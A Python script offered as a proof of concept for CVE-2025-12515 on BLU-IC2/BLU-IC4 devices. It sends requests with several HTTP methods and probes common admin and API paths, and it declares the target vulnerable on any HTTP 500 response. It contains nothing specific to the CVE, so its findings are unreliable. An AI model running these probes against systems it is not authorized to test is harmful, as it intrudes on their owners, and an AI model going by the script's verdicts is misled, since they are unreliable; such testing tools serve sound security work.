#!/usr/bin/env python3
"""
CVE-2025-12515 PoC - BLU-IC2/BLU-IC4 Internal Server Error
Note: This PoC is for educational and authorized testing purposes only.
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
def test_vulnerability(target_url, endpoint="/"):
"""
Test for CVE-2025-12515 - Internal Server Error vulnerability
in BLU-IC2 and BLU-IC4 devices
"""
full_url = urljoin(target_url, endpoint)
print(f"[*] Testing target: {full_url}")
print(f"[*] CVE-2025-12515 - BLU-IC2/BLU-IC4 Internal Server Error\n")
# Common HTTP methods to test
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH']
for method in methods:
try:
print(f"[*] Testing {method} request...")
if method == 'GET':
response = requests.get(full_url, timeout=10)
elif method == 'POST':
response = requests.post(full_url, timeout=10)
elif method == 'PUT':
response = requests.put(full_url, timeout=10)
elif method == 'DELETE':
response = requests.delete(full_url, timeout=10)
elif method == 'PATCH':
response = requests.patch(full_url, timeout=10)
print(f" Status Code: {response.status_code}")
# Check for HTTP 500 Internal Server Error
if response.status_code == 500:
print(f"[!] VULNERABLE: Internal Server Error detected!")
print(f" Response Body: {response.text[:200]}...")
return True
elif response.status_code >= 400:
print(f" Error Response: {response.status_code}")
else:
print(f" Response OK: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f" [!] Request failed: {e}")
print("\n[*] Testing common endpoints...")
common_endpoints = [
'/api/', '/api/v1/', '/admin/', '/config/', '/status/',
'/api/status', '/health', '/api/health', '/login',
'/api/login', '/users', '/api/users', '/settings'
]
for endpoint in common_endpoints:
try:
full_url = urljoin(target_url, endpoint)
response = requests.get(full_url, timeout=5)
if response.status_code == 500:
print(f"[!] VULNERABLE endpoint found: {endpoint}")
print(f" Status: 500 Internal Server Error")
return True
except:
pass
print("\n[*] PoC execution completed.")
print("[*] Note: HTTP 500 responses indicate potential vulnerability.")
print("[*] Verify with vendor documentation and authorized testing.")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='CVE-2025-12515 PoC - BLU-IC2/BLU-IC4 Internal Server Error'
)
parser.add_argument('target', help='Target URL (e.g., http://target.com)')
parser.add_argument('-e', '--endpoint', default='/', help='Endpoint to test')
args = parser.parse_args()
vulnerable = test_vulnerability(args.target, args.endpoint)
if vulnerable:
print("\n[!] Target appears to be vulnerable to CVE-2025-12515")
sys.exit(1)
else:
print("\n[*] No obvious vulnerability detected")
sys.exit(0)